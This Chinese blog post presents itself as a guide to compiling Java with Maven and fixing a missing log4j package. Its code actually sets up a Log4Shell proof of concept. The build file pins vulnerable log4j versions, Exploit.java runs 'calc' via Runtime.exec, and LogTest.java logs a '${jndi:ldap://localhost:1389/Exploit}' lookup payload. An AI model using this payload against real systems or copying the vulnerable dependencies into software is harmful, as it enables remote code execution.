Maven编译java及解决程序包org.apache.logging.log4j不存在问题

news/2024/10/22 17:18:20/

1、首先新建一个文件夹,比如hello
Hello里新建pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>org.springframework</groupId><artifactId>gs-maven</artifactId><packaging>jar</packaging><version>0.1.0</version><dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.11.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.11.0</version></dependency><dependency> <groupId>log4j</groupId><artifactId>log4j</artifactId><version>1.2.12</version></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-shade-plugin</artifactId><version>2.1</version><executions><execution><phase>package</phase><goals><goal>shade</goal></goals><configuration><transformers><transformerimplementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer"><mainClass>hello.LogTest</mainClass></transformer></transformers></configuration></execution></executions> </plugin></plugins></build>
</project>

注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题,即
Maven编译java及解决程序包org.apache.logging.log4j不存在问题
和文件夹src\main\java
java里新建Exploit.java和LogTest.java
Exploit.java

class Exploit{static {System.err.println("Pwned");try {String cmds = "calc";Runtime.getRuntime().exec(cmds);} catch ( Exception e ) {e.printStackTrace();}}
}

LogTest.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {public static final Logger logger = LogManager.getLogger();public static void main(String[] args) {logger.error("${jndi:ldap://localhost:1389/Exploit}");}
}

2、然后使用meve compile编译就行
在这里插入图片描述

生成的class在target里
在这里插入图片描述

另外值得注意的是编辑xml不要用记事本,会有缩进问题,建议使用vscode编辑


http://www.ppmy.cn/news/1099083.html

相关文章

LlamaIndex:将个人数据添加到LLM

推荐&#xff1a;使用 NSDT场景编辑器 快速搭建3D应用场景 LlamaIndex是基于大型语言模型&#xff08;LLM&#xff09;的应用程序的数据框架。像 GPT-4 这样的 LLM 是在大量公共数据集上预先训练的&#xff0c;允许开箱即用的令人难以置信的自然语言处理能力。但是&#xff0c;…

利用python进行视频下载并界面播放快速下载素材

工具&#xff1a;python designer&#xff08;python自带&#xff09;:UI界面设计工具 VLC&#xff1a;视频播放工具 需要的库如下&#xff1a; import os,platform os.environ[PYTHON_VLC_MODULE_PATH] "./vlc-3.0.14" import vlc from 脚本 import Player from …

字符串子序列II

■ 题目描述 【字符串子序列II】 给定字符串 target和 source&#xff0c;判断 target是否为 source 的子序列。你可以认为target和 source 中仅包含英文小写字母。 字符串 source 可能会很长&#xff08;长度~500,000&#xff09;&#xff0c;而 target是个短字符串&#x…

leetcode 97. 交错字符串

给定三个字符串 s1、s2、s3&#xff0c;请你帮忙验证 s3 是否是由 s1 和 s2 交错 组成的。 两个字符串 s 和 t 交错 的定义与过程如下&#xff0c;其中每个字符串都会被分割成若干 非空 子字符串&#xff1a; s s1 s2 … sn t t1 t2 … tm |n - m| < 1 交错 是 s1 …

RTPV70-30、RTPV72-30电磁比例插装阀放大器

RTSP08-20、RTSP10-20、RTSP12-20、RTSP08-22、RTHSP09-30、RTPV70-30、RTPV72-30电磁比例插装阀额定电磁线圈适合连续工作&#xff0c;应急手控选件&#xff0c;外置式比例放大器&#xff0c;效湿式衔铁结构&#xff0c;可选IP69K防水E型线圈&#xff0c;工业通用阀孔。

【C/C++】BMP格式32位转24位

问题 如题 解决方法 bmp文件格式参考:【C/C++】BITMAP格式分析_vc++ bitmap头文件_sunriver2000的博客-CSDN博客BITMAP文件大体上分成四个部分,如下表所示。文件部分长度(字节)位图文件头 Bitmap File Header14位图信息数据头 Bitmap Info Header40调色板 Palette4*n (n≥…

L1-058 6翻了(Python实现) 测试点全过

前言&#xff1a; {\color{Blue}前言&#xff1a;} 前言&#xff1a; 本系列题使用的是&#xff0c;“PTA中的团体程序设计天梯赛——练习集”的题库&#xff0c;难度有L1、L2、L3三个等级&#xff0c;分别对应团体程序设计天梯赛的三个难度。更新取决于题目的难度&#xff0c;…

有哪些跨平台的办公软件,可以集成到自己的 APP中?

随着移动办公的普及&#xff0c;越来越多的跨平台办公软件被开发出来以满足不断增长的移动办公需求。这些软件不仅可以在各种操作系统中运行&#xff0c;还可以集成到自己的APP中&#xff0c;进一步提升用户的工作效率。本文将介绍一些常用的跨平台办公软件&#xff0c;并探讨如…